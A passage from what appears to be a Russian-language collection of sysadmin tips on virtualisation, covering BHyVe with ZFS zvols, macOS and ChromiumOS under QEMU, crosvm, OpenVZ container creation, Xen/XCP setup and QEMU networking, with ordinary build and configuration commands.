    из SSD'шников и подключил к своему домашнему ПК, на котором у меня также
    FreeBSD и виртуалка BHyVe, с виндой, на случай если что-то виндовое
    потребуется. В общем вся соль этого была в подключении к BHyVe'овой машине
    диска оформленного как сырой ZFS-датасет. То есть в нём ни файлов нет, просто
    особого типа ZFS датасет.
    
    В итоге, чтобы его подключить на посторонней системе с FreeBSD, надо конечно
    первым делом ZFS-пул импортировать:
    
       zpool import -f
    
    -f нужен, так как он ругнётся что этот пул использовался на другой машине и
    вроде как может не надо его тут подключать.
    
    А после этого в 
    
       zfs list 
    
    ищем где наш датасет и объявляем его в конфигурации нашей рабочей виртуалки:
    
       disk1_type="virtio-blk"
       disk1_dev="custom"
       disk1_name="/dev/zvol/oldSSD/BHYVE/1C-BASES"
    
    И это тут так всё просто и безоблачно описано, а на деле я часа два наверное
    бодался с тем, как именно объявить zvol-овый диск в BHyVe. И в итоге
    
    
  • disk_type - должен быть virtio-blk
  • disk_dev - должен быть custom
  • disk_name - абсолютный путь к zvol'у в /dev, сперва это можно просто проверить ls'ом. Ну а дальше - ещё в самой загруженной ОСи диск не увиделся, но появился SCSI контроллер какой-то, который потребовал драйвера с диска virtio-win-0.1.229 и всё. Женщина - оплатила услуги непростого восстановления файлов, получила инструктаж на тему того, что её админ должен ей подтверждать что бэкап есть и он надёжен. Ну а она со своей стороны должна за этим бдить :)
  •  
    ----* Запуск macOS в виртуальной машине на базе QEMU/KVM (доп. ссылка 1) (доп. ссылка 2) (доп. ссылка 3)   [комментарии]
     
    Скрипт для запуска macOS в виртуальной машине (файлы с прошивками можно
    скопировать из snap sosum, proxmox или пакета ovmf из Fedora, Ubuntu или Debian).
    
    #!/bin/bash
    OSK="ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc"
    
       /usr/bin/qemu-system-x86_64 \
        -enable-kvm \
        -m 2G \
        -machine q35,accel=kvm \
        -smp 4,cores=2 \
        -cpu Penryn,vendor=GenuineIntel,kvm=on,+sse3,+sse4.2,+aes,+xsave,+avx,+xsaveopt,+xsavec,+xgetbv1,+avx2,+bmi2,+smep,+bmi1,+fma,+movbe,+invtsc \
        -device isa-applesmc,osk="$OSK" \
        -smbios type=2 \
        -object rng-random,id=rng0,filename=/dev/urandom -device virtio-rng-pci,rng=rng0 \
        -serial mon:stdio \
        -drive if=pflash,format=raw,readonly,file=./firmware/OVMF_CODE.fd \
        -drive if=pflash,format=raw,file=./firmware/OVMF_VARS-1024x768.fd \
        -device virtio-vga,virgl=on \
        -display sdl,gl=on \
        -L "$SNAP"/usr/share/seabios/ \
        -L "$SNAP"/usr/lib/ipxe/qemu/ \
        -audiodev pa,id=pa,server="/run/user/$(id -u)/pulse/native" \
        -device ich9-intel-hda -device hda-output,audiodev=pa \
        -usb -device usb-kbd -device usb-mouse \
        -netdev user,id=net0 \
        -device vmxnet3,netdev=net0,id=net0 \
        -drive id=ESP,if=virtio,format=qcow2,file=./ESP.qcow2 \
        -drive id=SystemDisk,if=virtio,file=./macos.qcow2
    
    
    Для установки macOS в виртуальной машине c использованием образа BaseSystem.img
    дополнительно нужно добавить строку:
    
        -drive id=InstallMedia,format=raw,if=virtio,file=./BaseSystem.img
    
    Для загрузки установочного образа macOS можно использовать скрипт fetch-macos.py.
    
     
    ----* vmhgfs в старых CentOS и RHEL   Автор: пох  [комментарии]
     
    Если понадобилось достучаться из CentOS 6 до хостового shared folder в VMware
    Workstation или чем-то совместимом, а стандартные способы приводят только к
    появлению загадочных мусорных сообщений в логах, что что-то где-то кого-то не
    нашло, можно поступить так:
    
    Поставить vmware-tools  от VMware (да, понадобится перл и может даже gcc).
    Ключевой момент - _целиком_. Понадобится версия 8.любая (я свою стащил из
    vsphere5.0, но вообще-то они доступны с родного сайта даже без регистрации и sms).
    
    Если в системе подключен EPEL, из которого установлен  open-vm-tools -  его
    потребуется удалить через yum erase, так как это устаревший и неработающий
    бэкпорт. Также понадобиться удалить уже установленные модули (как минимум сам
    модуль vmhgfs), полученные из других источников.
    
    В чем суть? В том, что как обычно - эру немого кино объявили deprecated, а со
    звуковым что-то пошло не так. В десятой версии VMware  перешла на новый-модный
    метод доступа к hgfs через fuse - в чем не было бы ничего плохого (дергать
    гипервизор все равно, из ядра или userspace), если бы, разумеется, всё было
    реализовано корректно. Прибить гвоздем непрошенное кэширование, игнорируя
    существующие API - норм. Исправить нельзя - "я в отпуске!" (по возвращении
    исправлено не то и не до конца, потом переисправлено, но с уровнем
    единственного штатного разработчика и качеством его кода, надеюсь, уже все ясно).
    
    Поэтому нет смысла пол-системы апгрейдить ради "поддерживаемой" таким способом мусорной версии. 
    
    Ключевой момент при этом - что устанавливать старые vmware-tools надо целиком -
    чтобы mount.vmhgfs  был той же самой (старой!) версии, что и vmhgfs.ko -
    поскольку там, внезапно, тоже stable api is nonsense - поэтому и необходимо
    удалить "опен"-vm-tools - ничего хорошего они не содержат. API самого
    гипервизора при этом не меняется (или там хорошо сохраняют обратную
    совместимость) поэтому модуль работает с любой версией.
    
    P.S. Если у вас именно штатный CentOS/RHEL, все пройдет гладко, а если что-то
    несколько отличающееся и придётся модуль пересобирать из исходников - в
    vmhgfs-only/fsutil.c в 65й строке исправьте "if" так, чтобы он всегда был
    "false" - там проверка минимальной версии, которая неправильна из-за сделанного
    rh бэкпортирования патчей, вам этот блок не нужен.
    
     
    ----* Сборка ChromiumOS из исходных текстов для запуска в QEMU (доп. ссылка 1)   [комментарии]
     
    Доступный в исходных текстах ChromiumOS главным образом отличается отсутствием
    элементов брендинга ChromeOS и компонентов DRM для просмотра защищённого контента.
    
    Для сборки вначале нужно клонировать репозиторий с инструментарием:
    
       git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
       export PATH=$PATH:$PWD/depot_tools
    
    После чего можно приступить к загрузке и сборки исходных текстов ChromiumOS
    (сборку осуществляем для целевой платформы amd64-generic, при низкой скорости
    сети или недосаточном свободном дисковом пространстве в "repo init" также можно
    указать опцию "-g minilayout" для загрузки минимально необходимого набора кода):
    
       mkdir chromiumos
       cd chromiumos
       repo init -u https://chromium.googlesource.com/chromiumos/manifest.git --repo-url https://chromium.googlesource.com/external/repo.git -g minilayout
       repo sync -j75
       cros_sdk
       export BOARD=amd64-generic
       ./setup_board --board=${BOARD}
       ./build_packages --board=${BOARD}
       ./build_image --board=${BOARD} --boot_args "earlyprintk=serial,keep console=tty0" --noenable_rootfs_verification test
       ./image_to_vm.sh --board=${BOARD} --test_image
    
    
    Для запуска окружения  ChromiumOS  можно воспользоваться командной cros_start_vm:
    cros_sdk
    
       ./bin/cros_start_vm --image_path=../build/images/${BOARD}/latest/chromiumos_qemu_image.bin --board=${BOARD}
    
    но при использовании cros_start_vm наблюдаются мешающие полноценной работе
    ограничения, такие как невозможность перенаправить графический вывод через VNC.
    Поэтому будем запускать ChromiumOS при помощи QEMU и виртуального GPU Virglrenderer.
    
    Установим сборочные зависимости (список для Ubuntu 17.10):
    
        sudo apt install autoconf libaio-dev libbluetooth-dev libbrlapi-dev \
        libbz2-dev libcap-dev libcap-ng-dev libcurl4-gnutls-dev libepoxy-dev \
        libfdt-dev \
        libgbm-dev libgles2-mesa-dev libglib2.0-dev libgtk-3-dev libibverbs-dev \
        libjpeg8-dev liblzo2-dev libncurses5-dev libnuma-dev librbd-dev librdmacm-dev \
        libsasl2-dev libsdl1.2-dev libsdl2-dev libseccomp-dev libsnappy-dev l\
        ibssh2-1-dev libspice-server-dev libspice-server1 libtool libusb-1.0-0 \
        libusb-1.0-0-dev libvde-dev libvdeplug-dev libvte-dev libxen-dev valgrind \
        xfslibs-dev xutils-dev zlib1g-dev libusbredirhost-dev usbredirserver
    
    Соберём Virglrenderer, который позволяет задействовать виртуальный GPU и
    использовать из гостевой системы графические возможности хост-системы, в том
    числе аппаратное ускорение для OpenGL. Virglrenderer является не обязательным,
    если не нужно ускорение вывода графики можно обойтись без сборки  Virglrenderer
    и убрать из строки запуска QEMU "virgl".
    
       git clone git://git.freedesktop.org/git/virglrenderer
       cd virglrenderer
       ./autogen.sh
       make -j7
       sudo make install
    
    Собираем QEMU для целевой платформы x86_64:
    
       git clone git://git.qemu-project.org/qemu.git
       mkdir -p qemu/build
       cd qemu/build
       ../configure --target-list=x86_64-softmmu --enable-gtk --with-gtkabi=3.0 \
       --enable-kvm --enable-spice --enable-usb-redir --enable-libusb --enable-virglrenderer --enable-opengl
       make -j7
       sudo make install
    
    Запускаем ChromiumOS в QEMU с использованием драйверов virtio (Linux-ядро
    хост-системы должно быть собрано с опциями CONFIG_DRM_VIRTIO,
    CONFIG_VIRT_DRIVERS и CONFIG_VIRTIO_XXXX):
    
       cd chromiumos
       /usr/local/bin/qemu-system-x86_64 \
         -enable-kvm \
         -m 2G \
         -smp 4 \
         -hda src/build/images/amd64-generic/latest/chromiumos_qemu_image.bin \
         -vga virtio \
         -net nic,model=virtio \
         -net user,hostfwd=tcp:127.0.0.1:9222-:22 \
         -usb -usbdevice keyboard \
         -usbdevice mouse \
         -device virtio-gpu-pci,virgl \
         -display gtk,gl=on
    
     
    ----* Сборка системы виртуализации crosvm из Chrome OS в обычном дистрибутиве Linux (доп. ссылка 1)   [комментарии]
     
    В Chrome/Chromium OS для изоляции приложений развивается система crosvm,
    основанная на использовании гипервизора KVM. Код  crosvm написан на языке Rust
    и примечателен наличием дополнительного уровня защиты на основе пространств
    имён, применяемого для защиты от атак на инструментарий виртуализации.
    
    Из других особенностей crosvm отмечаются встроенные средства для запуска
    Wayland-клиентов внутри изолированных окружений с выполнением композитного
    сервера на стороне основного хоста и возможность эффективного использования GPU
    из гостевых систем. Подобные возможности делают crosvm интересным решением для
    изолированного запуска графических приложений.
    
    Crosvm не привязан к Chromium OS и может быть собран и запущен в любом
    дистрибутиве Linux (протестировано в Fedora 26).
    
    Собираем ядро Linux для гостевой системы:
    
        cd ~/src
        git clone git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git
        cd linux
        git checkout v4.12
        make x86_64_defconfig
        make bzImage
        cd .. 
    
    Собираем инструментарий minijail для запуска программ в изолированных окружениях:
    
        git clone https://android.googlesource.com/platform/external/minijail
        cd minijail
        make
        cd .. 
    
    Собираем crosvm:
    
        git clone https://chromium.googlesource.com/a/chromiumos/platform/crosvm
        cd crosvm
        LIBRARY_PATH=~/src/minijail cargo build 
    
    Генерируем образ корневой ФС (rootfs) для изолированного окружения:
    
        cd ~/src/crosvm
        dd if=/dev/zero of=rootfs.ext4 bs=1K count=1M
        mkfs.ext4 rootfs.ext4
        mkdir rootfs/
        sudo mount rootfs.ext4 rootfs/
        debootstrap testing rootfs/
        sudo umount rootfs/
    
    Запускаем crosvm:
    
        LD_LIBRARY_PATH=~/src/minijail ./target/debug/crosvm run -r rootfs.ext4 --seccomp-policy-dir=./seccomp/x86_64/ ~/src/linux/arch/x86/boot/compressed/vmlinux.bin
    
     
    ----* Создание чистого openvz-контейнера на основе CentOS 6 (доп. ссылка 1)   Автор: umask  [комментарии]
     
    Разработчики OpenVZ предлагают загрузить заранее созданные шаблоны
    контейнеров, но у этих шаблонов есть недостаток - в них присутствует довольно
    много лишних пакетов, которые не хотелось бы вычищать руками. Помимо этого, в
    этих шаблонах присутствуют неподписаные пакеты, а так же репозиторий с
    пакетами-заглушками, цифровая подпись пакетов из которого не проверяется. В
    общем всё это и заставило сделать свой собственный чистый контейнер с нуля.
    Далее предлагается скрипт, который в хост-системе на основе centos6 создаёт
    чистый контейнер с это же самой ОС.
    
    Сам скрипт:
    
    
       #!/bin/bash
    
       ### exit on errors (in pipes too) and verbose execution
       set -o pipefail -e -x
       
       TMPDIR=$(mktemp -d)
       VEID=777
       DESTDIR=/vz/private/${VEID}
       
       ### veid config
       cat << _EOF_ > /etc/vz/conf/${VEID}.conf
       # This config is only valid for decent VSwap-enabled kernel
       # (version 042stab042 or later).
       
       ONBOOT="yes"
       
       # RAM
       PHYSPAGES="0:2G"
       
       # Swap
       SWAPPAGES="0:0G"
       
       # Disk quota parameters (in form of softlimit:hardlimit)
       DISKSPACE="20G:22G"
       DISKINODES="200000:220000"
       QUOTATIME="0"
       
       # CPU fair scheduler parameter
       CPUUNITS="1000"
       
       VE_ROOT="/vz/root/\\$VEID"
       VE_PRIVATE="/vz/private/\\$VEID"
       OSTEMPLATE="centos-6-secured-x86_64"
       ORIGIN_SAMPLE="basic"
       
       HOSTNAME="localhost"
       SEARCHDOMAIN=""
       NAMESERVER="8.8.8.8 8.8.4.4"
       IP_ADDRESS="10.20.30.40"
       
       CPULIMIT="100"
       CPUS="1"
       _EOF_
       
       ### stop / destroy if exists /  recreate
       vzctl stop ${VEID}
       [[ -d ${DESTDIR} ]] && rm -rf ${DESTDIR}
       mkdir -p ${DESTDIR}
       mkdir -p /vz/root/${VEID}
       
       ### init rpm db
       rpm --root ${DESTDIR} --initdb
       
       ### download packages for create base directory
       yum install -q -y yum-utils
       yumdownloader --destdir ${TMPDIR} centos-release centos-release-cr
       
       ### install base directory rpms
       TO_INSTALL=""
       for i in ${TMPDIR}/*.rpm; do
       	TO_INSTALL="${TO_INSTALL} ${i}"
       done
       
       rpm --root ${DESTDIR} -i ${TO_INSTALL}
       
       ### Save random seed
       touch ${DESTDIR}/var/lib/random-seed
       chmod 600 ${DESTDIR}/var/lib/random-seed
       dd if=/dev/urandom of=/var/lib/random-seed count=1 bs=512 2>/dev/null
       
       ### import centos pubkey
       rpm --root ${DESTDIR} --import /etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
    
       ### install required rpms
       yum --installroot=${DESTDIR} install -q -y postfix filesystem tzdata glibc procps \\
    	coreutils rpm yum yum-utils udev openssh basesystem bash grep MAKEDEV \\
    	openssl gnupg2 logrotate rsyslog screen openssh-server openssh-clients \\
    	info ca-certificates libuuid sed vim-enhanced findutils iproute tmpwatch \\
    	wget curl patch vixie-cron sysstat htop telnet which diffutils rsync \\
    	sudo yum-cron psacct lftp tcpdump numactl git vconfig nc xz bzip2 \\
    	nscd passwd tar
    
       ### pts only in fstab
       cat << _EOF_ > ${DESTDIR}/etc/fstab
       none 	/dev/pts	devpts	gid=5,mode=620	0	0
       _EOF_
       chmod 0644 ${DESTDIR}/etc/fstab
       
       mkdir -p ${DESTDIR}/dev/pts
    
       ### create devices
       for INPATH in dev etc/udev/devices; do
    	/sbin/MAKEDEV -x -d ${DESTDIR}/${INPATH} console core fd full kmem kmsg mem null port \\
    		ptmx {p,t}ty{a,p}{0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f} random \\
    		urandom zero ram{,0,1,disk} std{in,out,err}
       done
    
       ### do not run agetty's
       sed -i 's/^ACTIVE_CONSOLES=\\(.*\\)/#ACTIVE_CONSOLES=\\1\\nACTIVE_CONSOLES=""/g' ${DESTDIR}/etc/sysconfig/init 
    
       ### run minimum services
       SERVICES="(network|crond|sshd|sysstat|snmpd|syslog|psacct|udev-post|nscd)"
       chroot ${DESTDIR} "/sbin/chkconfig" "--list" | grep -oP '^\\S+' | \\
          sort | uniq | egrep -vE "${SERVICES}" | xargs -I{} chroot ${DESTDIR} "/sbin/chkconfig" "{}" "off"
       chroot ${DESTDIR} "/sbin/chkconfig" "--list" | grep -oP '^\\S+' | \\
          sort | uniq | egrep -E "${SERVICES}" | xargs -I{} chroot ${DESTDIR} "/sbin/chkconfig" "{}" "--level" "2345" "on"
    
       ### clock/timezone
       cat << _EOF_ > ${DESTDIR}/etc/sysconfig/clock
       ZONE="Europe/Moscow"
       _EOF_
       chroot ${DESTDIR} "/usr/sbin/tzdata-update"
    
       ### make mtab actual every time
       chroot ${DESTDIR} 'rm' '-fv' '/etc/mtab'
       chroot ${DESTDIR} 'ln' '-s' '/proc/mounts' '/etc/mtab'
       
       ### cleanup
       rm -rf ${TMPDIR}
    
       ### set locale to UTF
       cat << _EOF_ > ${DESTDIR}/etc/sysconfig/i18n
       LANG="en_US.UTF-8"
       SYSFONT="latarcyrheb-sun16"
       _EOF_
       chroot ${DESTDIR} 'localedef' '-c' '-f' 'UTF-8' '-i' 'en_US' '/usr/lib/locale/en_US.utf8'
    
       ### TODO:
       ### 1. check ssh keys and delete them
       ### 2. make template.tar.gz
    
    
    
    После создания контейнера я удаляю ssh host keys и делаю дамп контейнера
    утилитой vzdump, а затем клонирую контейнеры через vzrestore. При желании можно
    сделать шаблон самостоятельно, например как написано здесь или здесь.
    
     
    ----* Сборка ядра FreeBSD для выполнения в роли паравиртуализированной гостевой системы под управлением Xen (доп. ссылка 1)   [комментарии]
     
    В репозитории http://svn.freebsd.org/base/projects/amd64_xen_pv/ доступны
    свежие версии драйверов для обеспечения работы гостевых систем FreeBSD в режиме
    паравиртуализации под управлением Xen.
    
    Для сборки паравиртуализированного ядра FreeBSD для Xen можно использовать следующую инструкцию:
    
       mkdir /dirprefix/
       mkdir /amd64_xen_pv/
       svn checkout svn://svn.freebsd.org/base/projects/amd64_xen_pv/ /amd64_xen_pv/
       cd /amd64_xen_pv/
       setenv MAKEOBJDIRPREFIX ../dirprefix/
       make -j10 -s buildkernel KERNCONF=XEN
    
    В результате ядро и необходимые модули будут размещены в директории ../dirprefix/amd64_xen_pv/sys/XEN/kernel
    
     
    ----* Настройка сетевого доступа в окружениях QEMU   Автор: Аноним  [комментарии]
     
    Заметка о том, как настроить сеть между гостевой и хостовой ОС при
    использовании QEMU. В качестве хостовой ОС Ubuntu 10.04.
    
    На стороне хоста устанавливаем uml-utilities:
    
       sudo apt-get install uml-utilities
    
    Это нужно делать только один раз. Создаем сетевой интерфейс:
    
       sudo tunctl -t qemu
    
    Вешаем на него адрес и включаем:
    
       sudo ip address add 192.168.0.1/24 dev qemu
       sudo ip link set up dev qemu
    
    
    Запускаем qemu (например):
    
       sudo qemu-system-x86_64 -hda HDD.img -cdrom FreeBSD-9.0-RC1-amd64-dvd1.iso \\
        -net nic -net tap,ifname=qemu,script=no,downscript=no -boot d
    
    Делаем простой NAT на хостовой ОС:
    
       sudo bash -c 'echo 1 > /proc/sys/net/ipv4/ip_forward'
       sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
    
    На гостевой cистеме прописываем конфигурацию маршрута по-умолчанию и конфигурацию DNS-клиента.
    
    Еще небольшая рекомендация: запускайте qemu на десктопе под управлением утилиты
    screen. Это спасет вас, если вы вдруг решите закрыть окно терминала, в котором
    запустили qemu.
    
       screen -S qemu sudo qemu-system-x86_64 ...
    
    Потом делаем detach (^D) и закрываем окно терминала.
    
     
    ----* Установка XCP XenAPI в Ubuntu 11.10 или Debian GNU/Linux (доп. ссылка 1)   [комментарии]
     
    Благодаря портированию XCP XenAPI для Debian и Ubuntu Linux у пользователей
    данных дистрибутивов появилась возможность создания сервера виртуализации,
    функционально эквивалентного стандартному дистрибутиву XCP на базе CentOS.
    
    В процессе развертывания Xen хоста следует не поддастся искушению установки
    пакета с ядром Linux, оканчивающегося на "-virtual". Такие ядра в Ubuntu/Debian
    оптимизированы для использования внутри гостевых систем и не сконфигурированы
    для использования в роли Dom0.
    
    
    После установки XAPI будут запущены сервисы, использующие сетевые порты 80 и
    443. Поэтому важно проследить, чтобы на текущем сервере до этого не был запущен
    http-сервер или настроить раздельный запуск XAPI на другом IP. При
    использовании VPN и сетевого интерфейса tun0, наблюдается ряд проблем, которые
    могут привести к невозможности запуска XAPI.
    
    Установка XAPI
    
    Устанавливаем компоненты XAPI из специального PPA-репозитория ubuntu-xen-org.
    Добавляем в /etc/apt/sources.list
    
       deb http://ppa.launchpad.net/ubuntu-xen-org/xcp-unstable/ubuntu oneiric main
       deb-src http://ppa.launchpad.net/ubuntu-xen-org/xcp-unstable/ubuntu oneiric main
    
    или подключаем репозиторий для Debian:
    
       apt-get install curl 
       echo "deb http://downloads.xen.org/XCP/debian/repo/debian unstable main" > /etc/apt/sources.list.d/kronos.list 
       echo "deb-src http://downloads.xen.org/XCP/debian/repo/debian unstable main" >> /etc/apt/sources.list.d/kronos.list 
       wget --quiet -O - http://downloads.xen.org/XCP/debian/xcp.gpg.key | apt-key add - 
    
    Устанавливаем xapi:
    
       apt-get update
       apt-get install xcp-xapi
    
    
    Вариант сборки свежей версии инструментария XCP из исходных текстов с
    использованием xapi-autobuilder.
    
    Устанавливаем необходимые для сборки компоненты:
    
       apt-get install pbuilder debhelper dh-ocaml dh-autoreconf cdebootstrap python-debian mercurial git
    
       wget http://downloads.xen.org/XCP/debian/blktap-dkms_0.1_all.deb
       dpkg -i blktap-dkms_0.1_all.deb
    
    
    Клонируем Git-репозиторий xapi-autobuilder и выполняем сборку:
    
       git clone https://github.com/jonludlam/xapi-autobuilder.git
       cd xapi-autobuilder
       make clean ; make
    
    в итоге будут подготовлены необходимые для установки в  Debian пакеты, свежие
    версии которых также можно загрузить командой:
    
       wget -r -l1 --no-parent -nd http://downloads.xen.org/XCP/debian/latest/
       rm  index.html*
    
    
    
    Настройка XAPI
    
    Активируем по умолчанию опцию загрузки Xen в Grub:
    
       sed -i 's/GRUB_DEFAULT=""/GRUB_DEFAULT="Xen 4.1-amd64"/' /etc/default/grub
       update-grub
    
    Настраиваем параметры сети
    
    В /etc/network/interfaces добавляем запуск интерфейсе xenbr0:
    
       auto lo xenbr0
    
       iface xenbr0 inet dhcp
            bridge_ports eth0 
    
    Вместо "dhcp" при необходимости можно прописать статический IP.
    
    
    Настраиваем содержимое файла xensource-inventory (в скрипте ниже
    подразумевается, что корневой раздел /dev/sda1, а управляющий сетевой интерфейс
    xenbr0). Для генерации xensource-inventory  запускаем простой shell-скрипт:
    
       control_domain=`uuidgen`
       installation=`uuidgen`
    
       cat > /etc/xensource-inventory << EOF
       CURRENT_INTERFACES='xenbr0'
       BUILD_NUMBER='0'
       CONTROL_DOMAIN_UUID='${control_domain}' 
       INSTALLATION_UUID='${installation}'
       MANAGEMENT_INTERFACE='xenbr0'
       PRIMARY_DISK='/dev/sda1'
       EOF
    
    Перезагружаем систему
    
       reboot
    
    
    
    Использование XCP
    
    Убедимся, что xapi запущен
    
       service xapi status
    
    если нет, то запустим его командой
    
       service xapi start
    
    Добавим к переменноё окружения PATH путь к исполняемым файлам xapi:
    
       export PATH=$PATH:/usr/lib/xen-common/xapi/bin
    
    Создадим репозиторий хранения. Рекомендуется использовать NFS или EXT, если в
    системе есть свободное блочное устройство.
    
    Для NFS (в переменную SR будет записан идентификатор хранилища):
    
       SR=`xe sr-create type=nfs name-label=nfs device-config:server=<nfs server> device-config:serverpath=<path on server>`
    
    Для незанятого блочного устройства /dev/sda3  (внимание, указанный раздел будет отформатирован !)
    
    
       SR=`xe sr-create type=ext device-config:device=/dev/sda3 name-label=ext` 
    
    Свяжем созданное хранилище с пулом:
    
    
       POOL=`xe pool-list --minimal`
       xe pool-param-set uuid=$POOL default-SR=$SR
    
    
    
    Решение проблемы с памятью для Dom0
    
    В штатном ядре Ubuntu 11.10 наблюдается проблема с выделением недостаточного
    объема памяти для Dom0. Данная проблема решена в ядре 3.2. В качестве обходного
    пути решения, можно вручную увеличить размер выделенной для нужд Dom0 памяти
    (посмотреть текущее значением можно через "cat /proc/meminfo" ).
    
    Находим uuid идентификатор Dom0:
    
       xe vm-list
    
       uuid ( RO)           : f5d0039b-1138-4635-c153-6203bfdc330f
         name-label ( RW): Control domain on host: piggy
         power-state ( RO): running
    
    Вручную назначаем нижний и верхний лимит памяти:
    
       xe vm-param-set uuid=f5d0039b-1138-4635-c153-6203bfdc330f memory-dynamic-max=2GiB
       xe vm-param-set uuid=f5d0039b-1138-4635-c153-6203bfdc330f memory-dynamic-min=2GiB
    
    
    Установка гостевой системы с Linux
    
    Находим шаблон для установки интересующего дистрибутива:
    
       xe template-list
    
    Ниже представленный скрипт позволяет автоматизировать выполнение установки.
    Скрипт следует запускать из локальной системы (Dom0), но его можно легко
    модифицировать для организации удалённой установки с другого хоста. На
    завершающем этапе работы скрипта будет произведён запуск виртуальной машины для
    выполнения финального этапа установки.
    
    В скрипте может понадобиться поменять следующие переменные:
    
       "vm-label" - метка для ссылки на VM из  Dom0;
       "hostname" - имя хоста;
       "domain" - локальный домен
    
    В качестве шаблона для установки выбран Ubuntu Lucid Lynx 10.04 (64-bit)
    
    
       #!/bin/bash
       set -e
       set -x
    
       template=`xe template-list name-label="Ubuntu Lucid Lynx 10.04 (64-bit)" --minimal`
       vm=`xe vm-install template=$template new-name-label=vm-label`
       network=`xe network-list bridge=xenbr0 --minimal`
       vif=`xe vif-create vm-uuid=$vm network-uuid=$network device=0`
    
       xe vm-param-set uuid=$vm other-config:install- repository=http://archive.ubuntu.com/ubuntu
       xe vm-param-set uuid=$vm PV-args="auto-install/enable=true interface=auto netcfg/dhcp_timeout=600 hostname=vm-host-name domain=mydomain.is.best"
    
       xe vm-start uuid=$vm
    
    
    Для завершения установки следует подключиться к виртуальной машине, например, через "xe console"
    Перед этим следует запустить демон  xapissl:
    
       service start xapissl
    
    Список активных консолей VM можно посмотреть командой:
    
       xe console-list
    
    Выбрав нужный vm-uuid выполняем:
    
       xe console uuid=593c6788-1ddc-e7d7-c6b1-0de0778c78b7
    
    Если что-то пошло не так удалить установленную виртуальную машину можно командой:
    
       xe vm-uninstall name-label=vm-label  --multiple
    
    
    
    Установка гостевой системы с Windows
    
    Для установки Windows необходимо наличие установочного iso-образа, который
    может быть импортирован с другой машины по NFS:
    
       xe-mount-iso-sr nfs-server:/path/to/isos
    
    Создаём виртуальную машину с Windows:
    
       xe vm-install template=Windows\ 7\ \(32-bit\) new-name-label=windows
       xe vm-cd-add vm=windows cd-name=win7.iso device=3
       xe vm-start vm=windows
    
    Для обеспечения работы сети выполняем создание сетевого моста:
     
       brctl addbr xenbr0
       brctl addif xenbr0 eth0
    
    
    Поднимаем IP на интерфейсе сетевого бриджа вместо физического интерфейса. После чего запускаем:
    
       xe pif-scan
    
    Устанавливаем в Window паравиртуальные драйверы, которые можно загрузить следующим образом:
    
       wget http://downloads.xen.org/XCP/debian/xs-tools-5.9.960.iso
       mv xs-tools-5.9.960.iso /usr/lib/xen-common/xapi/packages/iso
    
     
    ----* Тестирование во FreeBSD системы виртуализации BSD Hypervisor (BHyVe) (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Разработчики FreeBSD приглашают принять участие в тестировании гипервизора
    BSD Hypervisor (BHyVe), открытого в этом году компанией NetApp. Гипервизор
    BHyVe обладает прекрасной производительностью, но пока не входит в состав
    основной кодовой базы FreeBSD и нуждается в дополнительном тестировании.
    
    Для работы BHyVe требуется наличие новых CPU Intel Core i3, i5 и i7,
    поддерживающих механизм виртуализации VT-x и  работу со вложенными страницами
    памяти (EPT - Extended Page Tables). Опционально для проброса PCI-устройств в
    госетвые окружения может быть задействована технология VT-d (Direct Device
    Attach). Проверить наличие VY-x можно просмотрев  флаги в секции "Features" в
    выводе dmesg, в списке должен присутствовать флаг VMX.
    
    В качестве гостевой системы пока может работать только FreeBSD. Созданные в
    рамках проекта паравиртуальные драйверы для ускорения работы с устройствами
    хранения и сетевого доступа (virtio, if_vtnet, virtio_pci, virtio_blk) в
    дальнейшем могут быть адаптированы для работы гостевых систем совместно с
    другими системами виртуализации.
    
    Подготовка хост-окружения
    
    Пользователи FreeBSD-CURRENT могут загрузить необходимые патчи из специального репозитория:
    
       svn co http://svn.freebsd.org/base/projects/bhyve /usr/src/
    
    Для FreeBSD 9.0BETA3 можно использовать ревизию 225769 из этого же SVN-репозитория BHyVe. 
    
    Устанавливаем необходимые порты:
    
       pkg_add -r subversion
       pkg_add -r binutils
       pkg_add -r curl
       rehash
    
    Загружаем исходные тексты из SVN (грузим ревизию 225769):
    
       svn co http://svn.freebsd.org/base/projects/bhyve@225769 /usr/src/
    
    Пересобираем ядро и перезагружаем систему:
    
       cd /usr/src
       make buildkernel KERNCONF=GENERIC
       make installkernel KERNCONF=GENERIC
       reboot
    
    После перезагрузки необходимо загрузить модуль ядра vmm.ko:
    
       kldload vmm
    
    Для управления BHyVe необходимо установить несколько вспомогательных утилит:
    /usr/sbin/bhyve, /usr/sbin/bhyveload и /usr/sbin/vmmctl, а также библиотеку
    /usr/lib/libvmmapi.*. Уже собранные данные компоненты можно загрузить здесь,
    для установки следует запустить скрипт cpinstall.sh.
    
    Для сборки из исходных текстов можно использовать примерно такие команды:
    
       cd /usr/src/
       make buildworld
       mkdir /usr/jail/
       make installworld DESTDIR=/usr/jail/
       cp /usr/jail/usr/sbin/bhyve* /usr/sbin/
       cp /usr/jail/usr/sbin/vmm* /usr/sbin/
       cp /usr/jail/usr/lib/libvmmapi* /usr/lib/
       rehash
    
    Правим /boot/loader.conf. Отключаем  вывод отладочных предупреждений и изменяем
    лимит памяти до 4 Гб для системы с 8 Гб ОЗУ (остальные 4 Гб будут отданы
    гостевым системам):
    
       debug.witness.watch="0"
       hw.physmem="0x100000000"
    
    После перезагрузки вывод dmesg для  системы с 8 Гб ОЗУ выглядит примерно так:
    
       real memory  = 8589934592 (8192 MB)
       avail memory = 3021811712 (2881 MB)
    
    
    Подготовка гостевой системы:
    
    Для упрощения тестирования подготовлен уже сконфигурированный образ гостевой
    системы, который  можно загрузить и установить выполнив:
    
       cd /usr/share/
       curl -O http://people.freebsd.org/~neel/bhyve/vm1.tar.gz
       gunzip vm1.tar.gz
       tar -xf vm1.tar
    
    Данный образ содержит скрипт запуска и образ коревой ФС, размером 300 Мб
    (/usr/share/vm1/boot/kernel/mdroot). При загрузке создаётся два  virtio-устройства:
    
        vtnet0: виртуальный сетевой интерфейс, привязанный к интерфейсу tap0 на стороне хост-системы
        vtbd0: виртуальной блочное устройство, использующее 32 Гб дисковый образ /usr/share/vm1/diskdev
    
    
    Скрипт /usr/share/vm1/vmprep.sh предназначен для подготовки хост-системы для
    использования BHyVe, включая загрузку модуля ядра vmm.ko и настройку сети
    (вместо em0 следует указать текущий сетевой адаптер).
    
